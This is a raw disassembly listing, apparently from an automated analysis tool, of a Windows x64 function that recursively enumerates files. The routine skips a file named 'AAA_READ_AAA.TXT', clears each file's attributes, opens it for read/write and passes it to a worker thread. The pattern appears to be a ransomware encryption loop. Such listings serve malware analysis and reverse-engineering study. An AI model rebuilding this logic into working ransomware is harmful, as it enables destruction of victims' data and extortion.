Function at 0x14000dc00
Capabilities:
Create thread
Enumerate files on windows
Enumerate files recursively
Set file attributes

Disassembly:
push rbp
push rbx
push rsi
push rdi
lea rbp, [rsp - 0x2268]
mov eax, 0x2368
call fcn.14000d0f0
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x2250], rax
mov rax, qword [rbp + 0x22c0]
mov rbx, rdx
mov qword [rsp + 0x60], rax
mov rsi, rcx
mov dword [rsp + 0x54], r9d
mov qword [rsp + 0x68], r8
mov qword [rsp + 0x70], rdx
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xor edx, edx
lea rcx, [rbp + 0x1d0]
mov r8d, 0x410
call fcn.140002350
xor edx, edx
lea rcx, [rbp + 0x9f0]
mov r8d, 0x410
call fcn.140002350
xor edx, edx
lea rcx, [rbp + 0x1210]
mov r8d, 0x410
call fcn.140002350
mov rdx, rsi
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e97c]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0x1210]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rdx, rbx
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
xor r10d, r10d
mov qword [rsp + 0x58], rax
lea rdi, [0x140000000]
mov rbx, rax
test rax, rax
je 0x14000e207
test byte [rbp - 0x80], 0x10
jne 0x14000e19e
movzx r8d, word [rbp - 0x54]
add r8d, 0xffffffd2
mov edx, r8d
jne 0x14000dd4f
mov r9d, 0x2e
mov ecx, r10d
nop
test r9w, r9w
je 0x14000dd4f
movzx eax, word [rcx + rdi + 0x3e982]
add rcx, 2
movzx r9d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000dd30
test r10b, r10b
jne 0x14000e19e
test edx, edx
je 0x14000e19e
test r8d, r8d
jne 0x14000dd8f
mov edx, 0x2e
mov rcx, r10
nop dword [rax]
test dx, dx
je 0x14000dd8f
movzx eax, word [rcx + rdi + 0x3e98a]
add rcx, 2
movzx edx, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000dd70
test r10b, r10b
jne 0x14000e19e
test r8d, r8d
je 0x14000e19e
lea rdx, str.AAA_READ_AAA.TXT
lea rcx, [rbp - 0x54]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x14000e19e
lea rcx, [rbp - 0x54]
call fcn.1400103e0
test eax, eax
jne 0x14000e19e
lea rcx, [rbp - 0x54]
call fcn.140010660
test eax, eax
jne 0x14000e19e
lea r9, [rbp - 0x54]
lea r8, [rbp + 0x1210]
lea rdx, [0x14003e990]
lea rcx, [rbp + 0x1a30]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x80
lea rcx, [rbp + 0x1a30]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
lea rcx, [rbp + 0x1a30]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], eax
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [rax + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000df3d
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rbp - 0x64]
mov edx, 0x768
mov eax, dword [rbp - 0x60]
mov ecx, 0x40
shl rdi, 0x20
or rdi, rax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rbx + 0x53c]
lea rdx, [rbp - 0x54]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbx + 0x12c]
lea rdx, [rbp + 0x1210]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x60]
mov rcx, rbx
mov qword [rbx + 0x750], rax
mov rax, qword [rbp + 0x22c8]
mov qword [rbx + 0x758], rax
mov rax, qword [rbp + 0x22d0]
mov qword [rbx + 0x760], rax
mov qword [rbx + 0x748], rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xor eax, eax
lea r8, [0x14000f880]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [rbp + 0x22b0]
mov rbx, rax
mov rcx, rax
cmp edi, dword [rsp + 0x54]
jne 0x14000df2a
or edx, 0xffffffff
mov dword [rsp + 0x50], 1
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
jmp 0x14000df47
inc edi
mov dword [rsp + 0x50], edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
jmp 0x14000df47
mov edi, dword [rbp + 0x22b0]
mov dword [rsp + 0x50], edi
or rax, 0xffffffffffffffff
nop dword [rax + rax]
inc rax
cmp word [rsi + rax*2], 0
jne 0x14000df50
add eax, eax
add eax, 0xfffffffa
cmp eax, 0xc1
ja 0x14000df6e
mov rcx, rsi
call fcn.1400361a0
lea rdi, [0x140000000]
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14000e1fc
nop word [rax + rax]
test byte [rbp - 0x80], 0x10
jne 0x14000e1e0
movzx r8d, word [rbp - 0x54]
add r8d, 0xffffffd2
mov edx, r8d
jne 0x14000dfcf
xor ecx, ecx
mov r9d, 0x2e
test r9w, r9w
je 0x14000dfcf
movzx eax, word [rcx + rdi + 0x3e99e]
add rcx, 2
movzx r9d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000dfb0
xor eax, eax
test al, al
jne 0x14000e1e0
test edx, edx
je 0x14000e1e0
test r8d, r8d
jne 0x14000e011
mov edx, 0x2e
mov ecx, eax
nop dword [rax]
test dx, dx
je 0x14000e00f
movzx eax, word [rcx + rdi + 0x3e98e]
add rcx, 2
movzx edx, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000dff0
xor eax, eax
test al, al
jne 0x14000e1e0
test r8d, r8d
je 0x14000e1e0
lea rdx, str.AAA_READ_AAA.TXT
lea rcx, [rbp - 0x54]
call qword [sym.imp.SHLWAPI.dll_StrStrW]
test rax, rax
jne 0x14000e1e0
lea rcx, [rbp - 0x54]
call fcn.1400103e0
test eax, eax
jne 0x14000e1e0
lea rcx, [rbp - 0x54]
call fcn.140010660
test eax, eax
jne 0x14000e1e0
lea r9, [rbp - 0x54]
lea r8, [rbp + 0x1210]
lea rdx, [0x14003e9a8]
lea rcx, [rbp + 0x1a30]
call qword [sym.imp.USER32.dll_wsprintfW]
mov edx, 0x80
lea rcx, [rbp + 0x1a30]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
xor eax, eax
lea rcx, [rbp + 0x1a30]
mov qword [rsp + 0x30], rax
xor r9d, r9d
mov dword [rsp + 0x28], eax
mov edx, 0xc0000000
mov dword [rsp + 0x20], 3
lea r8d, [rax + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
cmp rax, 0xffffffffffffffff
je 0x14000e1be
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov edi, dword [rbp - 0x64]
mov edx, 0x768
mov eax, dword [rbp - 0x60]
mov ecx, 0x40
shl rdi, 0x20
or rdi, rax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov rdx, qword [rsp + 0x68]
mov rcx, rax
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_lstrcpyA]
lea rcx, [rbx + 0x53c]
lea rdx, [rbp - 0x54]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rcx, [rbx + 0x12c]
lea rdx, [rbp + 0x1210]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
mov rax, qword [rsp + 0x60]
mov rcx, rbx
mov qword [rbx + 0x750], rax
mov rax, qword [rbp + 0x22c8]
mov qword [rbx + 0x758], rax
mov rax, qword [rbp + 0x22d0]
mov qword [rbx + 0x760], rax
mov qword [rbx + 0x748], rdi
call qword [sym.imp.KERNEL32.dll_GlobalLock]
xor eax, eax
lea r8, [0x14000f880]
mov qword [rsp + 0x28], rax
mov r9, rbx
xor edx, edx
mov dword [rsp + 0x20], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov edi, dword [rsp + 0x50]
mov rbx, rax
mov rcx, rax
cmp edi, dword [rsp + 0x54]
jne 0x14000e1ad
or edx, 0xffffffff
mov dword [rsp + 0x50], 1
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
jmp 0x14000e1b3
mov eax, dword [rbp + 0x22b0]
mov dword [rsp + 0x50], eax
jmp 0x14000df75
inc edi
mov dword [rsp + 0x50], edi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rbx, qword [rsp + 0x58]
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], 0
jne 0x14000e1c2
add eax, eax
add eax, 0xfffffffa
cmp eax, 0xc1
ja 0x14000e1e0
mov rcx, rsi
call fcn.1400361a0
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
lea rdi, [0x140000000]
test eax, eax
jne 0x14000df90
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
jmp 0x14000e211
mov eax, dword [rbp + 0x22b0]
mov dword [rsp + 0x50], eax
mov rdx, rsi
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e9b8]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x80]
lea rcx, [rbp + 0x1d0]
call qword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov rbx, rax
test rax, rax
je 0x14000e4e3
test byte [rbp - 0x80], 0x10
mov edi, dword [rbp + 0x22b8]
je 0x14000e381
movzx edx, word [rbp - 0x54]
add edx, 0xffffffd2
mov r8d, edx
jne 0x14000e2a7
xor ecx, ecx
lea rdi, [0x140000000]
mov r9d, 0x2e
nop dword [rax]
test r9w, r9w
je 0x14000e2a1
movzx eax, word [rcx + rdi + 0x3e9c6]
add rcx, 2
movzx r9d, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000e280
mov edi, dword [rbp + 0x22b8]
xor eax, eax
test al, al
jne 0x14000e381
test r8d, r8d
je 0x14000e381
test edx, edx
jne 0x14000e2f7
mov r8d, 0x2e
lea rdi, [0x140000000]
mov ecx, eax
nop dword [rax]
test r8w, r8w
je 0x14000e2ef
movzx eax, word [rcx + rdi + 0x3e9a6]
add rcx, 2
movzx r8d, ax
movzx edx, word [rbp + rcx - 0x54]
sub edx, eax
je 0x14000e2d0
mov edi, dword [rbp + 0x22b8]
xor eax, eax
test al, al
jne 0x14000e381
test edx, edx
je 0x14000e381
mov rdx, rsi
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e9b4]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rbp + 0x22d0]
lea rcx, [rbp + 0x9f0]
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x22c8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.14000dc00
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
je 0x14000e4da
test byte [rbp - 0x80], 0x10
je 0x14000e4c5
movzx edx, word [rbp - 0x54]
add edx, 0xffffffd2
mov r8d, edx
jne 0x14000e3e7
xor ecx, ecx
lea rdi, [0x140000000]
mov r9d, 0x2e
nop dword [rax + rax]
test r9w, r9w
je 0x14000e3e1
movzx eax, word [rcx + rdi + 0x3e9ce]
add rcx, 2
movzx r9d, ax
movzx r8d, word [rbp + rcx - 0x54]
sub r8d, eax
je 0x14000e3c0
mov edi, dword [rbp + 0x22b8]
xor ecx, ecx
test cl, cl
jne 0x14000e4c5
test r8d, r8d
je 0x14000e4c5
test edx, edx
jne 0x14000e437
mov r8d, 0x2e
lea rdi, [0x140000000]
mov eax, ecx
nop dword [rax]
test r8w, r8w
je 0x14000e42f
movzx ecx, word [rax + rdi + 0x3e9d6]
add rax, 2
movzx r8d, cx
movzx edx, word [rbp + rax - 0x54]
sub edx, ecx
je 0x14000e410
mov edi, dword [rbp + 0x22b8]
xor ecx, ecx
test cl, cl
jne 0x14000e4c5
test edx, edx
je 0x14000e4c5
mov rdx, rsi
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcpyW]
lea rdx, [0x14003e9d8]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp - 0x54]
lea rcx, [rbp + 0x9f0]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
mov rax, qword [rbp + 0x22d0]
lea rcx, [rbp + 0x9f0]
mov r9d, dword [rsp + 0x54]
mov r8, qword [rsp + 0x68]
mov rdx, qword [rsp + 0x70]
mov qword [rsp + 0x40], rax
mov rax, qword [rbp + 0x22c8]
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x60]
mov qword [rsp + 0x30], rax
mov eax, dword [rsp + 0x50]
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], eax
call fcn.14000dc00
lea rdx, [rbp - 0x80]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x14000e396
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
mov rcx, qword [rbp + 0x2250]
xor rcx, rsp
call fcn.140001030
add rsp, 0x2368
pop rdi
pop rsi
pop rbx
pop rbp
ret